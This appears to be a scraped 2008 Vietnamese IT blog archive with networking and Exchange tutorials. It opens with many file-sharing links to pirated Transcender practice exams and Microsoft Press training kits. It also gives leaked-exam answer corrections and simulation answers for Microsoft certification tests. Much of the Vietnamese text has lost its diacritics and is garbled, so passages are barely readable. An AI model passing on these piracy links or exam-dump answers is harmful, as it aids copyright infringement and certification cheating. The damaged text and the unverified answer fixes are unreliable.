http://rapidshare.com/files/29404796/Transcender_70-441_v2.0-rbs.rar Transcender 70-442 CODE http://rapidshare.com/files/29404938/Transcender_70-442_v2.0.1-rbs.rar http://rapidshare.com/files/29405109/Transcender_70-442_v2.0.2-rbs.rar Transcender 70-443 CODE http://rapidshare.com/files/29405276/Transcender_70-443_v2.0.1-rbs.rar http://rapidshare.com/files/29405543/Transcender_70-443_v2.0.2-rbs.rar http://rapidshare.com/files/29405727/Transcender_70-443_v2.0.3-rbs.rar Transcender 70-444 CODE http://rapidshare.com/files/29406404/Transcender_70-444_v2.0-rbs.rar http://rapidshare.com/files/29405957/Transcender_70-444_v2.0.2-rbs.rar http://rapidshare.com/files/29406249/Transcender_70-444_v2.0.3-rbs.rar Transcender 70-447 CODE http://rapidshare.com/files/29406837/Transcender_70-447_v2.0-rbs.rar http://rapidshare.com/files/29406540/Transcender_70-447_v2.0.1-rbs.rar http://rapidshare.com/files/29406691/Transcender_70-447_v2.0.2-rbs.rar Transcender 70-526 CODE http://rapidshare.com/files/29406963/Transcender_70-526_v2.0-rbs.rar Transcender 70-528 CODE http://rapidshare.com/files/29407097/Transcender_70-528_v2.0.1-rbs.rar http://rapidshare.com/files/29407236/Transcender_70-528_v2.0.2-rbs.rar http://rapidshare.com/files/29407360/Transcender_70-528_v4.0.1-rbs.rar http://rapidshare.com/files/29407515/Transcender_70-528_v4.0.2-rbs.rar Transcender 70-529 CODE http://rapidshare.com/files/29407698/Transcender_70-529_v2.0-rbs.rar Transcender 70-536 CODE http://rapidshare.com/files/29408381/Transcender_70-536_v2.0-rbs.rar http://rapidshare.com/files/29408031/Transcender_70-536_v2.0.2-rbs.rar http://rapidshare.com/files/29407848/Transcender_70-536_v2.0.2-rbs2.rar http://rapidshare.com/files/29408212/Transcender_70-536_v2.0.4-rbs.rar
Transcender 70-553 CODE http://rapidshare.com/files/29408540/Transcender_70-553_v2.0-rbs.rar v Mail:dynamips#gmail.com QQ?24765 Msn:xiaolour#gmail.com MCTS: Exam 70-620 Microsoft Windows Vista Client Configuration Study Guide CODE http://rapidshare.com/files/2955 70-620.Apr.2007.pdf MCDST Self-Paced Training Kit (Exam 70-272) Supporting Users and Troubleshooting Desktop Applications on a Microsoft Windows XP Operating System (CD-ROM) CODE http://rapidshare.com/files/2743 Paced_Kit.part1.rar http://rapidshare.com/files/2743 Paced_Kit.part2.rar MCDST Self-Paced Training Kit (Exam 70-272) Designing and Developing Windows -Based Applications Using the Microsoft .NET Framework CODE http://rapidshare.com/files/2954 70-548.feb.2007.rar MCSA/MCSE Self-Paced Training Kit (Exam 70-290) Managing and Maintaining a Microsoft Windows Server 2003 Environment, Second Edition CODE http://rapidshare.com/files/29551698/MS_Self_Paced_Kit_70-290.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-291) Implementing, Managing, and Maintaining a Microsoft Windows Server 2003 Network Infrastructure, Second Edition CODE http://rapidshare.com/files/29551445/MS_Self_Paced_Kit_70-291.pdf
MCSA/MCSE Self-Paced Training Kit (Exam 70-293) Planning and Maintaining a Microsoft Windows Server 2003 Network Infrastructure, Second Edition CODE http://rapidshare.com/files/29551989/MS_Self_Paced_Kit_70-293.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-294) Planning, Implementing, and Maintaining a Microsoft Windows Server 2003 Active Directory Infrastructure, Second Edition CODE http://rapidshare.com/files/29553280/MS_Self_Paced_Kit_70-294.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-297) Designing a Microsoft Windows Server 2003 Active Directory and Network Infrastructure CODE http://rapidshare.com/files/29554099/MS_Self_Paced_Kit_70-297.pdf MCSA/MCSE Self-Paced Training Kit (Exam 70-298) Designing Security for a Microsoft Windows Server 2003 Network CODE http://rapidshare.com/files/29554612/MS_Self_Paced_Kit_70-298.pdf http://dynagen.cn/pass4sure-at-tk-mspress-cbt-videos-mocs-for-all-microsoft/ c ng bi haodalat ti 10:43 CH 0 nhn xet Nhan: MCSA, Pre Exam
Thi MCSA,MCSE 1000/1000
Day la tong hop cac bai viet thi dac biet cua 1 nguoi noi tieng Nhat Nghe co quy tinh cua TraiTimThu Razz MON 70-270 3- Pass4Sure v1.0 download ti y Xem cc cu P4S 70-270 sai bn di: Cau: sai | dung 2 ad ae 30 c e 40 a a(testking sai b) 68 a d 71 a c 80 a c 98 c d
108 120 160 171
ca cd ae ce bc
MON 70-290 thi gm 40 cu hi (hon ton c trong P4S) v 5 simulation 1- Hc trong P4S 70-290 v2.20 (237 cu hi v cu tr li) + fix cc cu tr li sai ca P4S P4S 2.20 corrections: question 4: Devices: Unsigned driver installtion behavior. question 60: Change and Modify question 67: Wednesday and Copy question 74: B question 75: Correct answer is missing: It should be Manage Documents permission on the printer question 116: Local Policies question 119: A question 152: Allow Write question 167: B, E question 173: B, C question 191: Change, Allow Modify question 192: Allow List Folder Contents, Read question 203: E question 209: D question 229: Apply onto: This Folder Only, Deny Create Files / Write Data question 234: Share permissions: Read. NTFS permission: List Folder Contents, Read and Execute, Read. MON 70-291 thi khong 46 cu + 3 cu gi lp. 1- Li khuyn: bn nn hc trong Test Inside 109 cu hi v 3 cu gi lp. thi nm hon ton trong y (l thuyt v gi lp lun), quan trng l ko cn fix li. download ti y 2- Nu khng quen vi vic c file pdf th bn c th dng P4S v2.40 (ch c 129 cu hi thi, li cn trng rt nhiu nn ch cn 110 cu thi). Bn c th dng P4S gi lp thi th. Fix: question 18 CE not BC question 24 BC not AD question 52 add ip adres: 192.168.1.25 and don't forget to Also enable the Create assiociated pointer (PTR) record Option question 102 B not D question 107 ( C ) is correct:
change the already existing GPO Cc cu trng: 54 (duplicate of 31 (& 108)) 57 (duplicate of 32) 60 (duplicate of 33) 62 (duplicate of 38 ) 65 (duplicate of 34 (&103)) 66 (duplicate of 39) 77 (duplicate of 15) 86 (duplicate of 43) 92 (duplicate of 9) 93 (duplicate of 84) 97 (duplicate of 56) 98 (duplicate of 64) 100 (duplicate of 59) 101 (duplicate of 63) 102 (duplicate of 35) 103 (duplicate of 34 (& 65)) 104 (duplicate of 29) 105 (duplicate of 36) 106 (duplicate of 61) Lu : P4S pha trn c th cha fix ht cc li, nht l cc cu ko th, v vy cc bn nn xem thm trong ti liu VCE ny tm p n chnh xc hn 3- V 3 cu gi lp chc chn l: Routing &Remote Access, Mail Exchange (MX), Delegation nm hon ton trong TestInside. MON 70-350 y l mn d thi nht nhng li kh kh v kin thc. Phn ln cc cu hi u tp trung v phin bn ISA 2004 Enterprise. Vi mn ny bn khng phi bn khon v chuyn nn hc TK, P4S, hay Testinside na, v TK ch c ... 99 cu, P4S cng tng t + 1 s li cn fix. thi khong 50 cu, khng c cu gi lp. Bn download Testking v4 ti y. m bo t 982-1000 im. MON 70-294 D thi khong 45 cu (3 sim). 2- P4S v1.8 + fix PASS4SURE fix Q6: A+D
Q8: A Q26: B Q38: B Q53: Site 0-1, 0-2, 0-3, 0-4 Q67: B Q75: A Q78: Select corp_users on ou container in each forest Q91: select research.adutum.com domain object Q92: A+B Q105: A Q109: Select GPO1 -> Domain , GPO4 -> Accounting OU Q111: Wingtiptoys GPO2, Accounting GPO3, Accounts Payable GP04 Q118: C+E Q121: Select Domain 2 , Domain 6 Q126: E Q143: Site 1 -2=250, site 2-3=50, site 3-4=100, site 4-1=50 Q152: Portable - assign install at logon, Desktop - assign on demand Q153: B+D Q170: {Sales} {accounts}{Computers} MON 70-298 thi dng case khong 35 cu hi cho 4-5 case, mi case l 1 tnh hung gm t 5-10 cu hi nh, finish case no l ko back li c. Tuy nhin s lng cu hi n tp li rt t (95 cu) nn pass mn ny vi im tuyt i ko phi l vn qu kh. Cc bn ti ti liu sau:Microsoft.TestKing.70-298.errata.by.sTf Lu cu ny: South Bridge Video (9 questions), the Q1 about audit strategy, you must choose the D (Audit Logon Event), not, like TestKing says, A (Audit Account Logon). MON 70-293 thi khong 42 cu (3sim) 2- P4S http://www.4shared.com/file/15998093/68085ce9/70-293_V273.html? s=1 + fix Q1 - dap an la C Q10 & 104 - dap an la Print Server Q50 - dap an la A Q105 - dap an la A 3- 3sim(070-293_250q_TestKing_v35_Simulations http://www.4shared.com/file/28088652/4200419a/70293_Simulations_From_Tk_v35.html?s=1 )q1,q9,q11.Nhung chac an hoc 6 cau sau q1,q4,q9,q10,q11,q17. c bit lu cch hng dn sim ca cc ti liu rt khc nhau, nu c iu kin bn nn lm lab th lun!!! Nhng p n di y tng i chun bn c th tham kho. sim 1: about win NT/98 computers not able to communicate in the network
ans: Edit Default DC policy disable-----> MS network server:digitally sign communication(always) MS network client:digitally sign communication(always) enable-----> MS network server:digitally sign communication(if client agrees) MS network server:digitally sign communication(if client agrees) Assign Server(Request Security) Edit Default Domain Policy Assign Client(respond only) Now, the interesting part was, the Default Domain Policy wasn't linked to to the domain. So, I thought, what the heck--link it. And I got it right, laugh.gif Sim 2: About removing unnecessary components and services from a server which previously hosted intranet media, including streaming media. ans: uninstall Application server & Windows Media Services. Sim 3: About using no SMB signing on the network and ensuring that data sent to and from a department OU(in this case HR server) is encrypted. Ans: had to link the appropriate GPO and delete the unwanted links among the 4 gpos. Chuc Thanh Cong MCSA,MCSE !!! Very Happy http://itpro.realbb.net/forum-f1/topic-t12.htm c ng bi haodalat ti 10:24 CH 0 nhn xet Nhan: MCSA, Pre Exam
Errata & Sims For 70-284-85, 70-291-9 +more, One Stop Shopping! [ pinned by BOFH ]
TK 70-284 V35: http://www.sadikhov.com/forum/index.php?sh...=92172&st=0 TK 70-285 V18: http://www.sadikhov.com/forum/index.php?showtopic=95807 TK 70-291 V50: http://www.sadikhov.com/forum/index.php?sh...1&hl=errata
Tk 70-293 V33.0: http://www.sadikhov.com/forum/index.php?showtopic=59204 Tk 70-294 V33.0: http://www.sadikhov.com/forum/index.php?showtopic=69561 Abstract & Errata For Tk 70-297 V.19: http://www.sadikhov.com/forum/index.php?sh...5&hl=errata Abstract & Errata For Tk 70-298 V.18: http://www.sadikhov.com/forum/index.php?sh...1&hl=errata Complete Errata & Notes For Tk 70-299 V 14: http://www.sadikhov.com/forum/index.php?showtopic=86158 VISTA Exams 620, 622, 623, 624: http://www.sadikhov.com/forum/index.php?showtopic=102302 SRV 2K8 70-649: http://www.sadikhov.com/forum/index.php?showtopic=103688 http://www.sadikhov.com/forum/index.php?showtopic=102832 c ng bi haodalat ti 10:01 CH 0 nhn xet Nhan: MCSA, Pre Exam
18-04-2008
cch ly mail t GMAIL bng Outlook Express
i t Gmail v Yahoo Mail trong chng trnh Outlook Express v Windows Mail 1. Ci t Gmail (Google Mail) a. Ci t Gmail trong Outlook Express Vo menu Tools - Chn Accounts... Chn Add -> Chn Mail. G vo tn nh hnh trn ri chn Next. G vo a ch Gmail nh hnh trn ri chn nt Next. G vo pop.gmail.com vo phn Imcoming mail v smtp.gmail.com vo phn Outgoing mail. Chn Next. G ti khon Gmail vo phn Account name v Password nh hnh trn. Chn
Next. Chn Finish kt thc. My quay v mn hnh ban u nh trn. Bm chut vo ti khon Gmail va to ri chn Properites. Chuyn sang phn server ri chn mc My server requires authentication. Chuyn sang Advanced: Chn vo 2 mc This server requires a secure connection (SSL) v g 465 vo phn Outgoing mail (SMTP). b. Ci t Gmail trong Windows Mail Chn menu Tools ca chng trnh Windows Mail -> Chn Accounts Chn Add Chn E-mail Account - Chn Next. G vo tn ca bn ri chn tip nt Next. G vo a ch Gmail ri chn tip nt Next. G vo pop.gmail.com cho phn Incoming mail v smtp.gmail.com cho phn Outgoing e-mail server nh hnh trn ri chn Next. G vo phn u ca a ch Gmail vo phn E-mail username v mt khu vo phn Password nh hnh trn. Chn vo Remember password ri chn Next. Chn Finish kt thc. Chng trnh quay v mn hnh ban u: t thanh sng ln a ch va ci t xong ri chn Properties. Chuyn sang mc Servers -> My server requires authentication. Chuyn sang phn Advanced: Bm chut vo hai mc l This server requires a secure connection (SSL) ca phn Outgoging mail (SMTP) v This server requires a secure connection (SSL) ca phn Incoming mail (POP3). G 465 vo phn Outgoing mail (SMTP). Chn vo mc Leave a copy of messages on server v Remove from server when deleted from Deleted Items. 2. Ci t Yahoo Mail: Vic u tin ca vic ci t chng trnh Yahoo Mail s dng trong Outlook Express hay Windows Mail th phi ci t chng trnh Ypops. Khi ci t chng trnh ny xong my s khi ng chng trnh ny mi khi bt my. V chng trnh ny phi m bo lun c hot ng trong thi gian s dng my th chng trnh Yahoo Mail mi hot ng c. Chng trnh c biu tng nm ti gc di bn tay phi mn hnh khi c hot ng.. Chng trnh ny khi ci t ra th khng phi thay i thng s g c. a. Ci t Yahoo Mail trong Outlook Express Thc hin trng t nh phn ci Gmail trong Outlook Express nhng ch g localhost cho c phn Incoming mail (POP3 or IMAP) server v Outgoing email server (SMTP) server. b. Ci t Yahoo Mail trong Windows Mail Thc hin trng t nh phn ci Gmail trong Windows Mail nhng ch g localhost cho c phn Incoming mail (POP3 or IMAP) server v Outgoing email server (SMTP) server. Have fun !
++++++++++++++++++ SMTP : port 25 nu thm TLS --> SMTPs : port 465 POP3 : port 110 nu thm SSL --> POP3s : port 995 Khi config bn nh check vo : My server requires authentication v This server requires secure connections (SSL) Mun lu 1 bn ca mail trn server th bn check vo Leave a copy of message on server Down file hng dn ca mnh ti y
suu tam tu nhatnghe.com c ng bi haodalat ti 7:09 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, POP3
All Passed Topic, Index of All Passed Topics
~passed~ 70-620 http://www.sadikhov.com/forum/index.php?showtopic=78121 ~passed~ 70-621 http://www.sadikhov.com/forum/index.php?showtopic=114949 ~passed~ 70-649 http://www.sadikhov.com/forum/index.php?showtopic=99281 ~passed~ 70-648 http://www.sadikhov.com/forum/index.php?showtopic=101354 ~passed~ 70-528 http://www.sadikhov.com/forum/index.php?showtopic=85152 ~passed~ 70-431 http://www.sadikhov.com/forum/index.php?showtopic=47995 ~passed~ 70-526 http://www.sadikhov.com/forum/index.php?showtopic=78432 ~passed~ 70-536 http://www.sadikhov.com/forum/index.php?showtopic=59516 ~passed~ 70-236 http://www.sadikhov.com/forum/index.php?showtopic=83409
~passed~ 70-445 & 70-446 http://www.sadikhov.com/forum/index.php?showtopic=103068 ~passed~ 70-630 - Passed Today! http://www.sadikhov.com/forum/index.php?showtopic=86914 ~passed~ 70-622 http://www.sadikhov.com/forum/index.php?showtopic=96441 ~passed~ 70-351 http://www.sadikhov.com/forum/index.php?showtopic=107403 ~passed~ 70-400 http://www.sadikhov.com/forum/index.php?showtopic=111637 ~passed~ 70-557 http://www.sadikhov.com/forum/index.php?showtopic=112232 ~passed~ 70-631 http://www.sadikhov.com/forum/index.php?showtopic=116518 ~passed~ 70-401 http://www.sadikhov.com/forum/index.php?showtopic=117093 This post has been edited by screeeeeem: Apr 8 2008, 10:49 PM http://www.sadikhov.com/forum/index.php?showtopic=103720 c ng bi haodalat ti 2:36 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
16-04-2008
Cu hnh Exchange Virtual Server ..
Trong bi vit ny ti s trnh by vi cc bn cc bc cn thit to mt Exchange Virtual Server cho Exchange Server Clustering vi Windows Server 2003. Bi vit ny ti ch trnh by nhng qu trnh c bn nht khi lm vic vi Exchange 2003 Cluster. Trong bi vit ny s bt u to Exchange Virtual Server cho Exchange Cluster dnh cho cc ng dng khc nhau. M hnh Cluster Server Trc khi thc hin qu trnh ny bn phi hon thnh cc bc:
- Ci t v cu hnh Windows Server 2003 Enterprise. - Trin khai h thng Storage (SAN, NAS) cho Quorum v Exchange Databases. - To mt Cluster vi Cluster Administrator. - Ci t Exchange Server 2003 Enterprise vi Service Pack 2 trn mi Cluster Node.
Sau khi ci t Exchange Server 2003 trn mi Cluster Node bn s nhn thy trong phn Cluster Resources ca Cluster Administrat c phn Exchange Server Setup. Hnh 1: Exchange Cluster Resources - Xut hin trong Cluster Administrator To mi mt Cluster Group Bc u tin to mt Cluster Group. Mt Cluster Group s s dng nhm cc ti nguyn v cc thit lp cn thit khi to Exchange Cluster. Nu trong qu trnh hot ng ca h thng nu c mt li xy ra trn mt Node th Cluster Group s c chuyn sang Cluster Node khc. Bn s phi gn tn v la chn miu t cho Cluster Group. Hnh 2: To mi Cluster Group Wizard Trong bc tip theo bn s phi la chn quyn s hu cho Resource Group. Khi li xy ra n ch c th chuyn gia cc Node c quyn s hu (Preferred Owners). Hnh 3: La chn - Preferred Owners To mt Cluster IP Sau khi hon tt vic to mi mt Cluster Group bn s phi to mt Cluster IP. Cluster IP s c s dng gn a ch IP cho Exchange Virtual Server. Mng cho Cluster IP l LAN. Hnh 4: To Cluster IP To mt Cluster Name
By gi vic cn thit chng ta phi to Cluster Name. Cluster Name s c s dng lm tn ca Cluster. Cluster Name Resource bt buc phi to trong Cluster Group cho Exchange. Hnh 5: To mi Cluster Name Quyn s hu thuc v: NODE1 v NODE2. Cluster Name s ph thuc vo Cluster IP. Hnh 6: Ti nguyn ph thuc - Resource Dependency Tn ca Cluster ti t l DECCLUS. Thit lp Cluster s to ra nhng Records trong my ch DNS. Vi Exchange Server 2003 h tr qu trnh xc thc Kerberos khi bn la chn checkbox Enable Kerberos Authentication. Hnh 7: Cluster Name Properties Cluster Disk V by gi l qu trnh to ti nguyn Cluster Disk. Cluster Disk t Physcial Disk trong Resource Type. Hnh 8: Cluster Disk Cluster Disk ph thuc vo Cluster IP v Cluster Name. Hnh 9: Cluster Disk Cluster Disk cho Cluster trong bi vit ny c tn l Disk E: Hnh 10: La chn Cluster Disk cho Exchange To Exchange Virtual Server V by gi l thi im to Exchange Virtual Server. Chut phi vo Cluster Group v la chn New Resrource v la chn Microsoft Exchange System Attendant cho dng ca ti nguyn mi ny. Sau n s to ra Exchange Virtual Server. Hnh 11: To Exchange Virtual Server. Quyn s hu ca Exchange Virtual Server la chn Node 1 v Node 2.
Hnh 12: Possible Owners cho Exchange Virtual Server Exchange Virtual Server s ph thuc vo cc ti nguyn: Cluster IP, Cluster Name v Physical Disk. Hnh 13: Exchange Virtual Server ph thuc cc ti nguyn La chn Exchange Administrative Group, khi Virtual Exchange Server ci t. Nu trong Exchange Organization chi c mt Administrative Group bn s khng c la chn Administrative Group. Hnh 14: La chn Administrative Group cho Exchange Virtual Server. La chn Routing Group Ci t Exchange Virtual Server trong Exchange Routing Group ni cc Cluster Node. Mc nh ng dn ca Exchange Databases l ti Cluster Disk v pha trc vi ng dn l \EXCHSRVR cng tng t nh ci t Exchange Server. Hnh 15: La chn Routing Group cho Exchange Virtual Server. c li ton b qu trnh mt cch cn thn v xem li cc cu hnh ri nhn nt Finish. Hnh 16: Tng hp cc cu hnh ca Exchange Virtual Server. Sau khi hon tt qu trnh to Cluster Group v Exchange Virtual Server, chut phi vo Cluster Group v la chn Bring Online. N s mang ton b cc ti nguyn da trn cc ci n ph thuc trong Cluster Group Online. Hnh 17: Cluster Group Online Qu trnh ny s mt mt thi gian v kt qu s nh chng ta nhn thy di y. Hnh 18: Resources Online Exchange Virtual Server trong Exchange System Manager Exchange Virtual Server (EVS) c hin th nh mt i tng bnht hng trong Exchange System Manager (ESM). Hnh 19: EVS trong ESM
Exchange Virtual Server c hin th nh mt my tnh bnh thng. Exchange Virtual Server cng c xut hin trong Active Directory User and Computers. y l cc bc ti gii thiu vi cc bn hon tt qu trnh thit lp Exchange Virtual Server. http://zensoft.vn/ShowArticle.aspx?ID=3208 c ng bi haodalat ti 9:17 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
Windows Network Diagnostic chun on hiu qu cc vn mng
Mt trong nhng tnh nng mi Windows Vista phi k n cng c Windows Network Diagnostic. Cng c ny c th gip bn nhn bit v gii quyt d dng hu ht cc vn mng. Bn khng cn phi bt buc l mt chuyn gia tm ra nhng sai xt trong mng hay kt ni Internet ti nh; ch vic chy cng c v n s thng bo ti bn nhng vn m n pht hin c. C mt vi cch tm ra cng c ny, mt trong s l vo Control Panel v tm kim theo t kho "network. Trong danh sch kt qu tm kim bn s thy Network and Sharing Center. pha di n, hy kch vo lin kt Identify and repair network problems khi ng Windows Network Diagnostic. Ngoi ra bn cng c th kch hot Windows Network Diagnostic bng ty chn khc nh sau: Control Panel -> Network and Internet -> Network and Sharing Center-> Diagnose and repair. Hay c th khi bn truy cp vo Network Connections, hy n phi chut ti biu tng mng v chn Diagnose. Khi hot ng, Windows Network Diagnostic bt u qu trnh nhn bit cc vn trong kt ni. Sau qu trnh x l, cng c ny s cho bn bit liu n c pht hin ra bt k li no hay khng. Khi mt li c tm thy, Windows Network Diagnostics nu c th s a ra cc m t v hng dn x l li. Trong hnh minh ha trn bn c th thy rng cng c pht hin c mt li xy ra trn my ch DNS. Khi bn kch vo gii php sa li m cng c cung cp th Windows Network Diagnostics s p dng thc hin qu trnh sa li . Khi kt thc qu trnh sa li, cng c s kim tra xem li hon ton bin mt hay cha.
Trong hnh minh ha pha di, bn c th thy li mng khng c sa cha thnh cng. Trng hp ny, gii php cn li l bn phi lin h vi nh cung cp internet v thng bo c th v tnh trng li mng ca bn. C rt nhiu cc trng hp khc l nguyn nhn pht sinh li mng. Tht may mn l Windows Network Diagnostics s gip bn nhn bit chng ch trong giy lt v ch bng mt c kch chut. http://zensoft.vn/ShowArticle.aspx?ID=2994 c ng bi haodalat ti 8:58 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
15-04-2008
S dng 802.11n cho tc mng khng dy nhanh nht v bao ph ln nht

Trong nhiu cng ty, cc mng khng dy c dng phc v nhiu mc ch khc nhau: cho cc khch gh thm cng ty, lung truyn thng a phng tin t phng marketing n phng hi tho v truy cp ngay c trong cafe cng ty.
Trong hu ht cc trng hp, cc Wi-Fi ny thng c tc chm v bao ph hn hp. Nhng g thc s cn thit i vi mt kt ni l phi c tc nhanh, chy xa c ti cc gc ca ta nh v c s m ha tn hiu mnh. Vi cc cng ty hin nay nh Cisco, Netgear ProSafe, Juniper Networks v cc sn phm ImageStream, bn c th thy c phn no cu tr li. Cc router khng dy 802.11g thng cho tc chm, mc d chng c h tr cu ni (cu ni lm tng tn hiu). Cc im truy cp siu nhanh super-fast 802.11n c tc truy cao t khong 130Mbit/sec nhng chng vn b gii hn phm vi khong 300 feet v khng h tr cu ni, v vy bn khng th m rng tn hiu. Li gii cho tc v phm vi su dung 802.11n cho toc do mang wifi V d, nhiu router 802.11g nh Belkin Wireless Pre-N F5D8230-4 c h tr cu ni nhng thng lng ch cho n khong 40Mbit/sec. Cc router nh Linksys Wireless-N WRT300N c h tr thng lng nhanh khong 120Mbit/sec di cc iu kin l tng khng xut hin cc tn hiu v tuyn khc trong phm vi ca n tuy nhin vn khng h tr cu ni, v tn hiu ch vi c trong khong 600 feet (tt c cc sn phn 802.11n u c thit k cho tc cao nhng phm vi ca chng khng rng). Chnh v vy i tm li gii v tc v phm vi l mt vn quan trng.
c th kt hp tt nht v tc , phm vi v tnh bo mt, ch c mt la chn l quan st cc router c h tr chi tit k thut 802.11n Draft 2.0 cho ch cu ni, bo mt WPA-TKIP nng cao v mt tn hiu vi tc 100Mbit/sec. tng c ly t thng lng nhanh N cho tc 100Mbit/sec v phm vi c m rng. Netgear, D-Link v Trendnet l cc thit b i u trong lnh vc mng khng dy. Cc thit b ny rt c ngha cho th trng gia nh, nhng c nhiu tnh nng nng cao lm vic tt trong cc ci t cng ty, nh lung video hoc download mng bn trong rt nhanh. V d trn Trendnet TEW-630APB, bn c th bc cu n 6 router v vy tn hiu c th vn xa t ta nh ny sang ta nh khc m vn bo m tc l 100Mbit/sec cng vi bo v WPA. Bn c th t mt TEW-630APB ti v tr trung tm ca mt ta nh v trin khai thm 6 m hnh khc xung quanh sn c bao ph tt nht tc cao nht c th. Ch c mt cht kh hiu l cc router khng s dng trong cng ty thng khng h tr phn cng VPN hoc cc tnh nng bo mt cng ty, v vy bn khng nn s dng chng cho cc truy cp LAN trong cng ty m thay v chng ch l tng cho dng video khng dy t nh ny sang nh khc hoc cung cp bng tn m rng cho ngi dng laptop c th thc hin lu tr cc file ca h hoc ti mt s lng ln d liu t cc trang mng ni b an ton bn trong. y l m hnh tt nht bn c th xem xt, cng vi cc chi tit v cch cu hnh ch cu ni. Lu rng trn hu ht cc m hnh ny, bn cn phi c bn v mi nht cho 802.11n Draft 2.0; hy kim tra website ca cng ty , kch vo h tr, tm m hnh router c th, ti v cc bn v mi nht v ci t n. Netgear RangeMax Next WNR834B Netgear RangeMax Next WNR834B h tr vic ni kt gia hai m hnh ging nhau. Mt chy trong ch trm gc "base station" v mt chy trong ch lp "wireless repeater". Trc khi thit lp mng, bn cn lu n a ch iu khin truy cp thit b (MAC) c vit trn nhn ca router. Netgear RangeMax Next WNR834B Cu hnh trm gc khng dy bng s dng a ch MAC cho router lp Vi thit v c thit lp chy trong ch trm gc, bn chy mt cp Ethernet n my ch cho kt ni Internet v kt ni cp Ethernet khc n mt trong 4 cng m v n my tnh. (Netgear khng khuyn khch vic cu hnh router s dng khng dy). Theo cc bc ci t ca CD v sau truy
cp vo a ch IP ca router trong trnh duyt IP mc nh s c lit k trong hng dn s dng. Netgear RangeMax Next WNR834B Nhp vo mt a ch IP duy nht cho router lp By gi bn kch vp chc nng lp Wireless Repeating Function. Kch vo ty chn Enable v kch nt radio cho trm gc khng dy. Nhp vo a ch MAC cho router th hai hoc cc router cn li m bn mun thm vo. Ci t router th hai. Kch ty chn tng t Wireless Repeating Function, kch hot n v chn Wireless Repeater. Nhp vo mt a ch IP mi ging vi routerr u tin nu trm gc l 192.168.1.1 th bn s dng 192.168.2.2. Trn c hai router, cc bn nn s dng Windows Vista vi Wi-Fi Protected Setup cu hnh bo mt. Trong khi my tnh vn chy dy n cc router, bn vo Network and Sharing Center. Kch "Set up a connection or network." Chn ty chn "Set up a wireless router " v kch Next. Tn router y l mt SSID mi v kch Next. nh Security PIN tm thy trong nhn ca router v kch Next. Vista s gi mt m mt khu phc tp cho bn s dng; vit chng ra v kch Next hon thin qu trnh WPS v lp li cho router th hai. Netgear RangeMax Next WNR834B S dng Windows Vista cu hnh bo mt Trendnet Wireless N TEW-630APB Hin nay, Trendnet TEW-630APB h tr cu ni thng qua 802.11n Draft 1.0. N s dng Wireless Distribution System cho vic bc cu, iu lm cho n tr nn d dng hn trong vic cu hnh, tuy nhin chng s ch lm vic khi bn c hai hoc nhiu router TEW-630APB s dng cng mt phn mm. Hy ci t phn mm mi nht ti Trendnet, kch Support, tm kiu router, ti v v ci t phn mm mi nht. Theo ci t c bn CD cho c hai router v lu a ch MAC c ghi trn nhn ca router. Trn router u tin (ch cu), bn vo a ch IP ca router trong trnh duyt IP mc nh c in trong hng dn s dng. Kch Advanced,"Advanced Wireless." Tch vo hp kim bn cnh "WDS Enable" v nh vo a ch MAC cho router th hai (lp). Kch "Basic," sau l "Wireless", b chn ty chn "Enable Auto Scan" v chn mt knh khng b xung t vi cc tn hiu khng dy khc. (S dng NetStumbler xc nh router no c s dng v s knh ca chng) Trendnet Wireless N TEW-630APB Kch hot WDS v nhp vo a ch MAC
Trn router cn li dng lm b lp, bn thc hin theo cc bc tng t nhng lc ny s dng a ch MAC cho router trm c bn. Ch phi s dng cng knh. By gi, trn c hai router, kch hot bo mt WPA-Personal, kch Basic, Wireless, sau ko thanh cun xung di mn hnh v chn WPA-Personal, nh vo mt kha chia s Pre-Shared Key. Vit s v lp li cho router th hai, s dng cng kha. Router th hai s chy trong ch lp m rng tn hiu khng dy. Trendnet Wireless N TEW-630APB Kch hot bo mt WPA-Personal cho c hai router v nhp vo kha PreShared Key Kt lun Bc tin tip theo trong cuc cch mng 802.11n l g? S h tr cng ty iu s c c trong nm nay. D-Link, Netgear v Linksys l tt c cc router khng dy lp cng ty ang c pht hnh c h tr 802.11n v ch cu ni cng nh VPN v WPA-TKIP lp cng ty. 802.11n Draft 2.0 s l ci m chng ta mong i hn c v c d kin ra mt trong khong 6 thng ti. (theo QTM) c ng bi haodalat ti 10:53 CH 0 nhn xet Nhan: C TH BN CHA BIT, NETWORK, wifi, WIRELESS
IPsec ton tp (phn 1)
IPsec (IP security) bao gm mt h thng cc giao thc bo mt qu trnh truyn thng tin trn nn tng Internet Protocol (IP). Bao gm xc thc v/hoc m ho (Authenticating and/or Encrypting) cho mi gi IP (IP packet) trong qu trnh truyn thng tin. IPsec cng bao gm nhng giao thc cung cp cho m ho v xc thc. IPsec phn 2 - Public Key Infrastructor 1. Tng quanipsec Giao thc IPsec c lm vic ti tng Network Layer layer 3 ca m hnh OSI. Cc giao thc bo mt trn Internet khc nh SSL, TLS v SSH, c thc hin t tng transport layer tr ln (T tng 4 ti tng 7 m hnh OSI). iu ny to ra tnh mm do cho IPsec, giao thc ny c th hot ng t tng 4 vi TCP, UDP, hu ht cc giao thc s dng ti tng ny. IPsec c mt tnh nng cao cp hn SSL v cc phng thc khc hot ng ti cc tng trn ca m hnh OSI. Vi mt ng dng s dng IPsec m (code) khng b thay i, nhng nu ng dng bt buc s dng SSL v cc giao thc bo mt trn cc tng trn trong m hnh OSI th on m ng dng s b thay
